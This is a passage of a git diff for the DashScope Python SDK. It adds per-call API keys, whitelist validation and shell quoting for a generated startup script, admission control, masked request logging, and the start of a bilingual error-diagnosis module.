oss_id: Optional[str] = None, oss_url: Optional[str] = None, + api_key: Optional[str] = None, ) -> ResponseFC: if not self.reward_metric_weight: self.reward_metric_weight = self.fcmodel.get_sub_function_weights() - result = await super().register(oss_id=oss_id, oss_url=oss_url) + result = await super().register( + oss_id=oss_id, + oss_url=oss_url, + api_key=api_key, + ) return result @@ -1477,10 +1536,15 @@ async def register( self, oss_id: Optional[str] = None, oss_url: Optional[str] = None, + api_key: Optional[str] = None, ) -> ResponseFC: if not self.reward_metric_weight: self.reward_metric_weight = self.fcmodel.get_sub_function_weights() - result = await super().register(oss_id=oss_id, oss_url=oss_url) + result = await super().register( + oss_id=oss_id, + oss_url=oss_url, + api_key=api_key, + ) return result @@ -1524,6 +1588,7 @@ class TuningModel(Models, BaseModel): async def register_functions( self, lazy_load: Optional[bool] = True, + api_key: Optional[str] = None, ) -> tuple[ List[str], List[str], @@ -1546,7 +1611,7 @@ async def register_functions( if fc.entity_id: entity_id = fc.entity_id else: - reg_result = await fc.register() + reg_result = await fc.register(api_key=api_key) if reg_result.status.success: entity_id = reg_result.output.get("entity_id", "") if not entity_id: @@ -1572,7 +1637,10 @@ async def register_functions( entity_group_reward_ids.append(entity_id) if not lazy_load: - load_result = await fc.load(entity_id=entity_id) + load_result = await fc.load( + entity_id=entity_id, + api_key=api_key, + ) if load_result.status.success: instance_id = load_result.output.get("instance_id", "") if not instance_id: @@ -1618,10 +1686,15 @@ async def upload_datasets( self, training_files: Union[List[str], str] = None, validation_files: Union[List[str], str] = None, + api_key: Optional[str] = None, ) -> tuple[List[str], List[str]]: """Register and validate training/validation datasets.""" uploaded_training_ids = [] uploaded_validation_ids = [] + # Normalize so that a single string path is not iterated + # character by character and defaults do not produce [None]. + training_files = _normalize_file_param(training_files) + validation_files = _normalize_file_param(validation_files) try: if training_files: self.datasets = [] @@ -1643,8 +1716,8 @@ async def upload_datasets( self.datasets.append(ds) # Perform dataset validation and upload - for ds in self.datasets: - ds_id = await ds.upload_dataset() + for ds in self.datasets or []: + ds_id = await ds.upload_dataset(api_key=api_key) if ds.type == DatasetsType.TRAINING and ds_id is not None: uploaded_training_ids.append(ds_id) elif ds.type == DatasetsType.VALIDATION and ds_id is not None: @@ -1656,6 +1729,9 @@ async def upload_datasets( f"{len(uploaded_validation_ids)} validation", ) + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise OSSUploadError( "Dataset registration failed", diff --git a/dashscope/applications/finetune/reinforcement/common/utils.py b/dashscope/applications/finetune/reinforcement/common/utils.py index 9eba40a6..60270d69 100644 --- a/dashscope/applications/finetune/reinforcement/common/utils.py +++ b/dashscope/applications/finetune/reinforcement/common/utils.py @@ -5,6 +5,8 @@ import fnmatch import json import os +import re +import shlex import uuid import zipfile from typing import Optional, List, Any, Dict, Union, Tuple, Literal @@ -23,6 +25,7 @@ from dashscope._shared._sdk_ident import get_sdk_headers, get_user_agent from .. import logger from .errors import ( + AgenticRLError, InputError, OutputError, ConfigurationError, @@ -32,7 +35,6 @@ ) from .. import ( LOG_LEVEL, - DASHSCOPE_API_KEY, BAILIAN_FILE_API, BAILIAN_FILE_TIMEOUT, HTTP_REQUEST_TIMEOUT, @@ -47,6 +49,7 @@ LOGGER_FILTER_FIELDS, FC_WORKERS_COUNT, ) +from .constants import resolve_api_key from .model_types import ( FileSpec, FunctionType, @@ -67,45 +70,48 @@ async def async_http_request( timeout: int = 10, retry_times: int = 3, ) -> Dict[str, Any]: - """Perform an asynchronous HTTP request with tenacity retries.""" + """Perform an asynchronous HTTP request with tenacity retries. - async def _make_request() -> Dict[str, Any]: + A single ``aiohttp.ClientSession`` is created per logical request and + shared by all retry attempts, so DNS/TCP/TLS connections can be reused + from the session's connection pool instead of being re-established on + every attempt. + """ + + async def _request_once( + session: "aiohttp.ClientSession", + ) -> Dict[str, Any]: """Single attempt: return result on success, raise exception on failure.""" - async with aiohttp.ClientSession( - headers=headers, - timeout=aiohttp.ClientTimeout(total=timeout), - trust_env=True, - ) as session: - method_upper = method.upper() - - if method_upper == "GET": - async with session.get(url, params=data) as response: - result = await _handle_response(response) - elif method_upper == "POST": - async with session.post(url, json=data) as response: - result = await _handle_response(response) - elif method_upper == "POST-DATA": - async with session.post(url, data=data) as response: - result = await _handle_response(response) - else: - # Logical error – do not retry - raise InputError( - f"Unsupported method: {method}", - error_code=4001, - ) + method_upper = method.upper() + + if method_upper == "GET": + async with session.get(url, params=data) as response: + result = await _handle_response(response) + elif method_upper == "POST": + async with session.post(url, json=data) as response: + result = await _handle_response(response) + elif method_upper == "POST-DATA": + async with session.post(url, data=data) as response: + result = await _handle_response(response) + else: + # Logical error – do not retry + raise InputError( + f"Unsupported method: {method}", + error_code=4001, + ) - # Treat server 5xx responses as transient failures and trigger a - # retry - if ( - isinstance(result.get("status"), Dict) - and result.get("status").get("code") >= 500 - ): - raise aiohttp.ClientError( - f"Server error {result['status']['code']}:" - f" {result['status']['message']}", - ) - return result + # Treat server 5xx responses as transient failures and trigger a + # retry + if ( + isinstance(result.get("status"), Dict) + and result.get("status").get("code") >= 500 + ): + raise aiohttp.ClientError( + f"Server error {result['status']['code']}:" + f" {result['status']['message']}", + ) + return result # Retry only on network errors, timeouts, and 5xx (wrapped as ClientError) retryer = AsyncRetrying( @@ -122,9 +128,14 @@ async def _make_request() -> Dict[str, Any]: ) try: - async for attempt in retryer: - with attempt: - return await _make_request() + async with aiohttp.ClientSession( + headers=headers, + timeout=aiohttp.ClientTimeout(total=timeout), + trust_env=True, + ) as session: + async for attempt in retryer: + with attempt: + return await _request_once(session) except InputError: raise except asyncio.TimeoutError as e: @@ -197,6 +208,41 @@ def check_file(file: str) -> None: ) +# Whitelist patterns for values embedded into the generated start.sh. +# Anything that does not match is rejected instead of being escaped into +# the script, so a malformed value can never change shell semantics. +_MODULE_CLASSPATH_RE = re.compile( + r"^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*$", +) +_FUNC_TYPE_RE = re.compile(r"^[a-z_]+$") +_PYPI_REPO_RE = re.compile(r"^https?://[^\s'\"`$\\]+/?$") +# A single pip requirement token: either a named requirement +# ("dashscope", "dashscope==1.2.3", "pkg[extra]==1.0") or a local +# wheel/sdist path ("./dashscope-2.0.3-py3-none-any.whl", +# "/abs/x.whl", "../x.whl", "torch-1.0.0+cpu-...whl"). Tokens are +# whitelist-validated before joining them into a double-quoted assignment. +# The script uses `read -r -a` to split them without interpreting quotes or +# performing glob expansion. +_PIP_REQUIREMENT_RE = re.compile( + r"^[A-Za-z0-9._\-/+]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$", +) + + +def _validate_shell_value( + value: str, + pattern: "re.Pattern", + field: str, +) -> str: + """Validate a value destined for the startup script against a + whitelist pattern.""" + if not pattern.match(value or ""): + raise InputError( + f"Invalid {field} for startup script: {value!r}", + error_code=4025, + ) + return value + + def generate_agentic_script( fc_pypi_lib: str, fc_pypi_repo: str, @@ -216,20 +262,38 @@ def generate_agentic_script( Returns: Generated bash script content + + Raises: + InputError: If any embedded value fails whitelist validation. """ + # Scalar values are shlex-quoted. SDK_PACKAGE tokens are joined raw only + # after the whitelist rejects characters special inside double quotes. + _validate_shell_value(str(func_type), _FUNC_TYPE_RE, "func_type") + _validate_shell_value(classpath, _MODULE_CLASSPATH_RE, "classpath") + _validate_shell_value(fc_pypi_repo, _PYPI_REPO_RE, "pypi repo") + _validate_shell_value( + FC_SERVER_CLASSPATH, + _MODULE_CLASSPATH_RE, + "server classpath", + ) + sdk_package_tokens = shlex.split(fc_pypi_lib or "") + for token in sdk_package_tokens: + _validate_shell_value(token, _PIP_REQUIREMENT_RE, "sdk package") + shell_script_header = f"""#!/usr/bin/env bash set -euo pipefail # Strict error handling # ================= Configuration ================== -SERVICE_TYPE="{func_type}" # reward|rollout -PROCESSOR_CLASS="{classpath}" # Full class path -PYPI_REPO="{fc_pypi_repo}" -SDK_PACKAGE="{fc_pypi_lib}" -REQUIREMENTS_FILE="{requirements_path}" -SERVER_CLASSPATH="{FC_SERVER_CLASSPATH}" -WORKERS_COUNT="{FC_WORKERS_COUNT}" -FUNCTION_LAYER="{function_layer_used}" +SERVICE_TYPE={shlex.quote(str(func_type))} # reward|rollout +PROCESSOR_CLASS={shlex.quote(classpath)} # Full class path +PYPI_REPO={shlex.quote(fc_pypi_repo)} +# Split below without quote interpretation or glob expansion. +SDK_PACKAGE="{' '.join(sdk_package_tokens)}" +REQUIREMENTS_FILE={shlex.quote(requirements_path or "")} +SERVER_CLASSPATH={shlex.quote(FC_SERVER_CLASSPATH)} +WORKERS_COUNT={shlex.quote(str(FC_WORKERS_COUNT))} +FUNCTION_LAYER={shlex.quote(str(function_layer_used))} LOG_DIR="/tmp/log/agentic_rl" MAX_RETRIES=3 """ @@ -305,7 +369,7 @@ def generate_agentic_script( # Phase 3: Default dependency Setup log "Installing default packages" - local_packages=($SDK_PACKAGE) + read -r -a local_packages <<< "$SDK_PACKAGE" for pkg in "${local_packages[@]}"; do if ! install_with_retry "$pkg"; then log "Failed to install default package: $pkg" @@ -391,6 +455,9 @@ def create_deployment_files( os.chmod(start_file, 0o755) logger.debug(f"Generated startup script: {start_file}") + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise RuntimeErrorWithCode( "Deployment file creation error", @@ -605,7 +672,10 @@ async def upload_zip_to_oss_and_by_signed_url( raise -async def to_bailian_data(files: List[FileSpec]) -> List[str]: +async def to_bailian_data( + files: List[FileSpec], + api_key: Optional[str] = None, +) -> List[str]: """ Upload files to Bailian file storage service. @@ -618,7 +688,7 @@ async def to_bailian_data(files: List[FileSpec]) -> List[str]: headers = { "user-agent": get_user_agent(), **get_sdk_headers(module="finetune"), - "Authorization": f"Bearer {DASHSCOPE_API_KEY}", + "Authorization": f"Bearer {resolve_api_key(api_key)}", } form_data = FormData() uploaded_files = [] @@ -709,6 +779,11 @@ async def to_bailian_data(files: List[FileSpec]) -> List[str]: logger.debug(f"Uploaded {len(uploaded_files)} files") return uploaded_files + except AgenticRLError: + # Preserve the specific classification (error code, solution and + # allow_retry) of errors raised above instead of flattening them + # into a generic 4034 OutputError. + raise except Exception as e: raise OutputError( "File upload error", @@ -772,7 +847,7 @@ def set_api_key(api_key: Optional[str] = None) -> None: os.environ["DASHSCOPE_API_KEY"] = api_key logger.debug( f"Set environ DASHSCOPE_API_KEY: " - f"{api_key if LOG_LEVEL == 'DEBUG' else deep_mask(api_key)}", + f"{api_key if LOG_LEVEL == 'DEBUG' else secret_part_str(api_key)}", ) return diff --git a/dashscope/applications/finetune/reinforcement/component/func_manager.py b/dashscope/applications/finetune/reinforcement/component/func_manager.py index 1d7c3f49..3b7ea9b1 100644 --- a/dashscope/applications/finetune/reinforcement/component/func_manager.py +++ b/dashscope/applications/finetune/reinforcement/component/func_manager.py @@ -182,7 +182,14 @@ async def _run_sync(self, fn) -> Any: # Avoid blocking the uvicorn event loop when processor.process is sync. loop = asyncio.get_running_loop() ctx = contextvars.copy_context() - return await loop.run_in_executor(self.executor, ctx.run, fn) + future = loop.run_in_executor(self.executor, ctx.run, fn) + try: + return await asyncio.shield(future) + except asyncio.CancelledError: + # A running thread cannot be cancelled; keep the task pending so + # callers can retain admission accounting until the worker exits. + await asyncio.gather(future, return_exceptions=True) + raise async def setups(self): try: @@ -232,7 +239,7 @@ async def processes(self, input_data: BaseDataModel) -> Any: partial(self._processor.process, input_data), ) - def execute(self, raw_data: Dict[str, Any]) -> Any: + async def execute(self, raw_data: Dict[str, Any]) -> Any: """ Complete processing pipeline: parse + execute. @@ -242,8 +249,8 @@ def execute(self, raw_data: Dict[str, Any]) -> Any: Returns: Processing result """ - input_data = self.parse(raw_data) - return self.process(input_data) + input_data = self.parses(raw_data) + return await self.processes(input_data) @classmethod def create_from_env( diff --git a/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py b/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py index 8cfdc7fd..9f971d91 100644 --- a/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py +++ b/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py @@ -10,6 +10,7 @@ # -*- coding: utf-8 -*- from __future__ import annotations +import copy from abc import abstractmethod from concurrent.futures import ThreadPoolExecutor, Executor from typing import Optional, Dict @@ -68,6 +69,9 @@ def __init__(self, executor: Optional[Executor] = None): """ self.executor = executor or ThreadPoolExecutor() self._executor_owned = executor is None + # Instance-level flag so collection state is never shared through the + # class attribute. + self.functions_collected = False # Collect all sub-functions and aggregate functions during # initialization # IMPORTANT: Subclasses MUST call super().__init__() to ensure @@ -80,8 +84,16 @@ def _collect_functions(self): if self.functions_collected: return - # Ensure metadata exists - if not hasattr(self, "reward_meta"): + # Build an instance-level copy of the class metadata. The decorator + # attaches a single ``reward_meta`` to the class, so mutating it + # directly would make every instance share one object: the bound + # methods collected for a later instance would overwrite the ones + # stored for earlier instances. Deep-copying per instance keeps each + # processor's sub-functions bound to its own object. + class_meta = getattr(type(self), "reward_meta", None) + if class_meta is not None: + self.reward_meta = copy.deepcopy(class_meta) + else: self.reward_meta = RewardProcessorMeta("default") # Iterate through class methods to collect marked functions diff --git a/dashscope/applications/finetune/reinforcement/component/server/server.py b/dashscope/applications/finetune/reinforcement/component/server/server.py index 56945cd6..24bb3eb2 100644 --- a/dashscope/applications/finetune/reinforcement/component/server/server.py +++ b/dashscope/applications/finetune/reinforcement/component/server/server.py @@ -39,6 +39,7 @@ """ import asyncio +import json import logging import os import time @@ -50,6 +51,8 @@ from ...common.log import logger from ...common.utils import ( + LOG_LEVEL, + deep_mask, get_fc_request_id, get_business_summary, ) @@ -133,6 +136,13 @@ def _resolve_func_type(raw: str) -> FuncType: # event loop) executor = ThreadPoolExecutor(max_workers=_THREAD_POOL_WORKERS) +# Admission control: bound total in-flight requests to +# workers + queue capacity. The semaphore is acquired atomically inside the +# event loop, so unlike probing ``executor._work_queue.qsize()`` it cannot be +# passed by multiple concurrent requests between check and submit. +_MAX_INFLIGHT = _THREAD_POOL_WORKERS + _THREAD_POOL_QUEUE +_admission_semaphore = asyncio.Semaphore(_MAX_INFLIGHT) + # Initialize FuncManager for unified parsing and processing func_manager: FuncManager = FuncManager.create_from_env( func_type=func_type, @@ -167,7 +177,13 @@ async def validation_exception_handler( request: Request, exc: RequestValidationError, ) -> JSONResponse: - """Handles request validation errors, logs details and returns 422.""" + """Handles request validation errors, logs details and returns 422. + + The raw request body may contain prompts, ground truth, agent output or + user conversations, so it is never logged or echoed by default. Only the + request id, body size and the failing field locations are recorded; the + full body (deep-masked and truncated) is emitted at DEBUG level only. + """ errors = exc.errors() error_details = [ { @@ -179,18 +195,28 @@ async def validation_exception_handler( for e in errors ] + fc_req_id = get_fc_request_id(request) try: body_bytes = await request.body() - body_str = body_bytes.decode("utf-8", errors="ignore") - except Exception as ex: - body_str = f"Failed to read request body: {str(ex)}" - - logger.error(f"[Server] Request validation error: {error_details}") - logger.error(f"[Server] Request body: {body_str}") + body_size = len(body_bytes) + except Exception: + body_bytes = None + body_size = -1 + + logger.error( + f"[Server] Request validation error: {error_details} | " + f"fc_request_id={fc_req_id} | body_size={body_size}", + ) + if body_bytes is not None and LOG_LEVEL == "DEBUG": + try: + body_preview = str(deep_mask(json.loads(body_bytes)))[:2000] + except Exception: + body_preview = "" + logger.debug(f"[Server] Request body (masked): {body_preview}") return JSONResponse( status_code=422, - content={"detail": error_details, "body": body_str}, + content={"detail": error_details}, ) @@ -349,24 +375,35 @@ async def _parse_processor_input(raw_body: Dict) -> BaseDataModel: async def _check_queue_capacity(): """ - Check if thread pool queue has capacity for new requests. + Acquire one admission slot for a new request. + + Admission is bounded by ``_admission_semaphore`` + (workers + queue capacity). The caller MUST release the slot via + ``_release_admission()`` in a ``finally`` block once admitted. Raises: - HTTPException: If queue is full (503 Service Unavailable) + HTTPException: If the in-flight limit is reached (503) """ - # pylint: disable=protected-access - queue_size = executor._work_queue.qsize() - if queue_size >= _THREAD_POOL_QUEUE: + if _admission_semaphore.locked(): error_msg = ( f"Too many concurrent requests. " - f"Thread pool queue is full (queue_size={queue_size}, " - f"max={_THREAD_POOL_QUEUE})" + f"In-flight limit reached (max={_MAX_INFLIGHT})" ) logger.error(f"[Server] {error_msg}") raise HTTPException( status_code=503, detail="Server is busy, please try again later.", ) + await _admission_semaphore.acquire() + + +def _release_admission() -> None: + """Release an admission slot acquired by ``_check_queue_capacity``.""" + try: + _admission_semaphore.release() + except ValueError: + # Semaphore released more times than acquired; ignore. + pass def _serialize_result(result: Any) -> Dict: @@ -404,14 +441,52 @@ async def _cancel_task_on_disconnect( if disconnected.is_set(): process_task.cancel() try: - await process_task + await asyncio.wait_for( + asyncio.shield(process_task), + timeout=5.0, + ) except asyncio.CancelledError: pass + except Exception: + pass + if not process_task.done(): + # asyncio cancellation cannot interrupt a sync processor that + # already started running inside a worker thread; surface it so + # the "HTTP cancelled but worker still busy" case is observable. + logger.warning( + "[Server] HTTP request cancelled but the worker is still " + "running (sync processors cannot be interrupted by " + "asyncio cancel); in-flight capacity remains held until " + "it completes.", + ) return True return False +async def _cancel_disconnect_listener(disconnect_listener) -> None: + if disconnect_listener is None: + return + disconnect_listener.cancel() + try: + await disconnect_listener + except asyncio.CancelledError: + pass + + +def _client_disconnect_response(request: "Request") -> JSONResponse: + """Build the 499 response returned when the client disconnects.""" + logger.warning( + "[Server] Client disconnected during processing, " + "task cancelled. x-fc-request-id: %s", + get_fc_request_id(request), + ) + return JSONResponse( + status_code=499, + content={"message": "Client disconnected, request cancelled."}, + ) + + async def _log_request_metrics( request: "Request", processor_input, @@ -460,6 +535,7 @@ async def handle_endpoint(request: Request) -> JSONResponse: success = False cancelled = False processor_input = None + admitted = False disconnect_listener = None disconnected = asyncio.Event() @@ -487,8 +563,10 @@ async def _listen_for_disconnect(): # Parse request using FuncManager processor_input = await _parse_processor_input(raw_body) - # Check thread pool queue capacity + # Admission control: acquire an in-flight slot (atomic within the + # event loop) before creating the processing task await _check_queue_capacity() + admitted = True # Start listening for disconnect only AFTER the request body has been # fully read. Otherwise the background listener competes with the body @@ -510,16 +588,12 @@ async def _listen_for_disconnect(): if disconnected_flag: cancelled = True - fc_request_id = get_fc_request_id(request) - logger.warning( - "[Server] Client disconnected during processing, " - "task cancelled. x-fc-request-id: %s", - fc_request_id, - ) - return JSONResponse( - status_code=499, - content={"message": "Client disconnected, request cancelled."}, - ) + if admitted and not process_task.done(): + process_task.add_done_callback( + lambda _task: _release_admission(), + ) + admitted = False + return _client_disconnect_response(request) # Processing completed normally result = process_task.result() @@ -547,13 +621,11 @@ async def _listen_for_disconnect(): content={"message": str(ex)}, ) finally: - # Cancel the disconnect listener if still running - if disconnect_listener is not None: - disconnect_listener.cancel() - try: - await disconnect_listener - except asyncio.CancelledError: - pass + # Release the admission slot held by this request + if admitted: + _release_admission() + + await _cancel_disconnect_listener(disconnect_listener) # Clean up trace context await _cleanup_trace_context(_otel_ctx_token, _upstream_tokens) diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md index 7d5b295e..ae1ba566 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md @@ -91,15 +91,15 @@ opentelemetry-api==1.41.1 opentelemetry-sdk==1.41.1 opentelemetry-exporter-otlp-proto-http==1.41.1 opentelemetry-processor-baggage==0.62b1 -loongsuite-util-genai==0.4.0 +loongsuite-util-genai==0.5.0 ``` ### 2.6 日志配置 通过 `LOG_LEVEL` 环境变量配置日志详细程度: ```bash -export LOG_LEVEL="DEBUG" # 最详细(会屏蔽敏感信息如 API 密钥) -export LOG_LEVEL="INFO" # 默认 +export LOG_LEVEL="DEBUG" # 最详细(警告:日志可能包含 API 密钥等完整凭证,分享日志前请关闭) +export LOG_LEVEL="INFO" # 默认(API 密钥等敏感信息会被脱敏) export LOG_LEVEL="WARNING" export LOG_LEVEL="ERROR" export LOG_LEVEL="CRITICAL" diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md index aded12a0..a5a5fa71 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md @@ -90,15 +90,15 @@ opentelemetry-api==1.41.1 opentelemetry-sdk==1.41.1 opentelemetry-exporter-otlp-proto-http==1.41.1 opentelemetry-processor-baggage==0.62b1 -loongsuite-util-genai==0.4.0 +loongsuite-util-genai==0.5.0 ``` ### 2.6 Logging Configuration Configure logging verbosity via the `LOG_LEVEL` environment variable: ```bash -export LOG_LEVEL="DEBUG" # Most verbose (masks sensitive info like API keys) -export LOG_LEVEL="INFO" # Default +export LOG_LEVEL="DEBUG" # Most verbose (WARNING: logs may contain full credentials such as API keys; disable before sharing logs) +export LOG_LEVEL="INFO" # Default (sensitive info like API keys is masked) export LOG_LEVEL="WARNING" export LOG_LEVEL="ERROR" export LOG_LEVEL="CRITICAL" diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt b/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt index 58ad261a..0c7b60dd 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt @@ -12,7 +12,7 @@ opentelemetry-api==1.41.1 opentelemetry-sdk==1.41.1 opentelemetry-exporter-otlp-proto-http==1.41.1 opentelemetry-processor-baggage==0.62b1 -loongsuite-util-genai==0.4.0 +loongsuite-util-genai==0.5.0 fsspec==2026.3.0 httpx==0.28.1 tenacity==9.1.4 @@ -22,6 +22,6 @@ langchain-core #1.3.0 langchain-mcp-adapters #0.2.2 langchain-openai #1.2.0 langgraph #1.1.9 -fastmcp==3.1.1 #3.1.1 +fastmcp==3.2.0 sympy #1.14.0 anyio #4.13.0 diff --git a/dashscope/client.py b/dashscope/client.py index b4bcaf35..5f6d342f 100644 --- a/dashscope/client.py +++ b/dashscope/client.py @@ -91,6 +91,7 @@ def __init__( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, config_path: Union[str, Path, None] = None, http_client: Optional[httpx.Client] = None, raise_on_error: bool = True, @@ -105,6 +106,7 @@ def __init__( protocol=protocol, timeout=timeout, max_retries=max_retries, + strict_validation=strict_validation, config_path=config_path, ) self._raise_on_error = raise_on_error @@ -219,6 +221,7 @@ def with_options( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, raise_on_error: Optional[bool] = None, user_agent_suffix: Optional[str] = None, ) -> "Client": @@ -256,6 +259,11 @@ def with_options( max_retries=( config.max_retries if max_retries is None else max_retries ), + strict_validation=( + config.strict_validation + if strict_validation is None + else strict_validation + ), http_client=(self._transport.http_client if share_pool else None), raise_on_error=( self._raise_on_error @@ -345,6 +353,7 @@ def __init__( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, config_path: Union[str, Path, None] = None, http_client: Optional[httpx.AsyncClient] = None, raise_on_error: bool = True, @@ -359,6 +368,7 @@ def __init__( protocol=protocol, timeout=timeout, max_retries=max_retries, + strict_validation=strict_validation, config_path=config_path, ) self._raise_on_error = raise_on_error @@ -469,6 +479,7 @@ def with_options( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, raise_on_error: Optional[bool] = None, user_agent_suffix: Optional[str] = None, ) -> "AsyncClient": @@ -502,6 +513,11 @@ def with_options( max_retries=( config.max_retries if max_retries is None else max_retries ), + strict_validation=( + config.strict_validation + if strict_validation is None + else strict_validation + ), http_client=(self._transport.http_client if share_pool else None), raise_on_error=( self._raise_on_error diff --git a/dashscope/devkit/__init__.py b/dashscope/devkit/__init__.py new file mode 100644 index 00000000..f7a777c0 --- /dev/null +++ b/dashscope/devkit/__init__.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Developer toolkit for the dashscope 2.0 SDK. + +Two opt-in dev aids with near-zero overhead when disabled: + +* **dev mock** (:mod:`dashscope.devkit.mock`) -- static / replay / + record modes that let an agent or test loop exercise the full v2 + HTTP request path without spending cloud tokens. HTTP only; the + websocket transport is not covered. +* **self-diagnosis** (:mod:`dashscope.devkit.diagnosis`) -- a local, + bilingual rule table that turns a failed call into structured fix + guidance, surfaced on ``DashScopeError.diagnosis``. It is a static + Tier-0 troubleshooting table, not a model-backed diagnosis. + +Nothing here is imported on the production success path: the transport +probes ``DASHSCOPE_DEV_MOCK`` / ``is_active()`` before each send and only +imports this package when a mock is actually requested, and the +``.diagnosis`` properties import :mod:`diagnosis` lazily. +""" + +from __future__ import annotations + +from typing import Optional + +from dashscope.devkit.diagnosis import ( + Diagnosis, + diagnose, + install_excepthook, + render, +) +from dashscope.devkit.mock import ( + MOCK_MARKER, + DevMockMiss, + active, + aintercept, + disable, + enable, + intercept, + set_redactor, +) + + +def enable_dev_mock( + mode: str = "static", + fixture_path: Optional[str] = None, +) -> None: + """Turn on the dev mock process-wide (``static`` / ``replay`` / ``record``).""" + enable(mode, fixture_path) + + +def disable_dev_mock() -> None: + """Turn the dev mock back off.""" + disable() + + +def is_active() -> bool: + """Whether the dev mock is currently active (code or env activation).""" + return active() + + +__all__ = [ + "MOCK_MARKER", + "DevMockMiss", + "Diagnosis", + "aintercept", + "diagnose", + "disable_dev_mock", + "enable_dev_mock", + "install_excepthook", + "intercept", + "is_active", + "render", + "set_redactor", +] diff --git a/dashscope/devkit/diagnosis.py b/dashscope/devkit/diagnosis.py new file mode 100644 index 00000000..c800b32a --- /dev/null +++ b/dashscope/devkit/diagnosis.py @@ -0,0 +1,536 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Self-diagnostic errors for the dashscope 2.0 SDK: local rule table. + +A failed call gets a structured, human-friendly diagnosis matched +locally from ``(status_code, error code, message)``. No network, no +model invocation -- the DashScope error surface is finite and +enumerable, so a static rule table covers the high-frequency cases with +zero latency and zero privacy exposure. + +The diagnosis is advisory data, never printed by the SDK itself: it +rides on ``DashScopeError.diagnosis`` (and on the non-raising response +envelope's ``.diagnosis``), and the CLI or :func:`install_excepthook` +renders it to stderr. + +Rules are bilingual: ``DASHSCOPE_DIAGNOSIS_LANG=en`` selects English, +default is Chinese. Every rendered block ends with an escalation hint to +the built-in AI expert (``dashscope expert ""``). + +This module is part of :mod:`dashscope.devkit`. +""" + +from __future__ import annotations + +import os +import re +import sys +from dataclasses import dataclass, field +from typing import Optional, Tuple + +LANG_ENV = "DASHSCOPE_DIAGNOSIS_LANG" + + +@dataclass(frozen=True) +class Matcher: + """All non-empty dimensions must match (AND); empty means wildcard.""" + + status_codes: Tuple[int, ...] = () + code_keywords: Tuple[str, ...] = () + message_patterns: Tuple[str, ...] = () + + +@dataclass(frozen=True) +class Diagnosis: + """A matched diagnosis: title, (cause, fix) pairs, optional command.""" + + title: str + fixes: Tuple[Tuple[str, str], ...] + command: str = "" + + +@dataclass(frozen=True) +class Rule: + name: str + matchers: Tuple[Matcher, ...] + diagnosis_zh: Diagnosis = field(compare=False) + diagnosis_en: Diagnosis = field(compare=False) + + +RULES: Tuple[Rule, ...] = ( + Rule( + name="auth", + matchers=( + Matcher(status_codes=(401,)), + Matcher(code_keywords=("invalidapikey", "unauthorized")), + Matcher(message_patterns=(r"no api key provided",)), + ), + diagnosis_zh=Diagnosis( + title="鉴权失败:API Key 缺失或无效", + fixes=( + ( + "未配置 API Key,或环境变量未生效", + "设置环境变量 DASHSCOPE_API_KEY," + + "或在代码中 dashscope.Client(api_key='sk-...')", + ), + ( + "Key 拼写错误或已被吊销", + "到百炼控制台「API-KEY 管理」页重新生成并替换", + ), + ( + "Key 与目标 Workspace 不匹配", + "确认 Key 属于目标工作空间,或改用 " + + "DASHSCOPE_WORKSPACE / Client(workspace=...) 指定", + ), + ), + command="echo $DASHSCOPE_API_KEY # 确认环境变量已生效", + ), + diagnosis_en=Diagnosis( + title="Authentication failed: API key missing or invalid", + fixes=( + ( + "API key not configured, or the environment " + + "variable did not take effect", + "set DASHSCOPE_API_KEY, or pass " + + "dashscope.Client(api_key='sk-...')", + ), + ( + "Key misspelled or revoked", + "regenerate it on the DashScope console " + + "(API-KEY management) and replace it", + ), + ( + "Key does not belong to the target workspace", + "confirm the key's workspace, or set " + + "DASHSCOPE_WORKSPACE / Client(workspace=...)", + ), + ), + command="echo $DASHSCOPE_API_KEY # verify the env var is set", + ), + ), + Rule( + name="workspace", + matchers=( + Matcher(status_codes=(400,), message_patterns=(r"workspace",)), + Matcher(code_keywords=("workspace",)), + ), + diagnosis_zh=Diagnosis( + title="请求未匹配到有效的百炼工作空间(Workspace)", + fixes=( + ( + "地域(Region)不匹配:当前走默认北京地域," + "资源可能在新加坡等其他地域", + "构造客户端时指定 " + "dashscope.Client(region='ap-southeast-1')", + ), + ( + "多租户模式下缺少 Workspace 标识", + "设置环境变量 DASHSCOPE_WORKSPACE," + + "或在 Client(workspace=...) / 调用时传入", + ), + ), + command="echo $DASHSCOPE_WORKSPACE # 确认工作空间已配置", + ), + diagnosis_en=Diagnosis( + title="Request did not match a valid workspace", + fixes=( + ( + "Region mismatch: the request went to the default " + + "Beijing region while your resources live " + + "elsewhere (e.g. Singapore)", + "build the 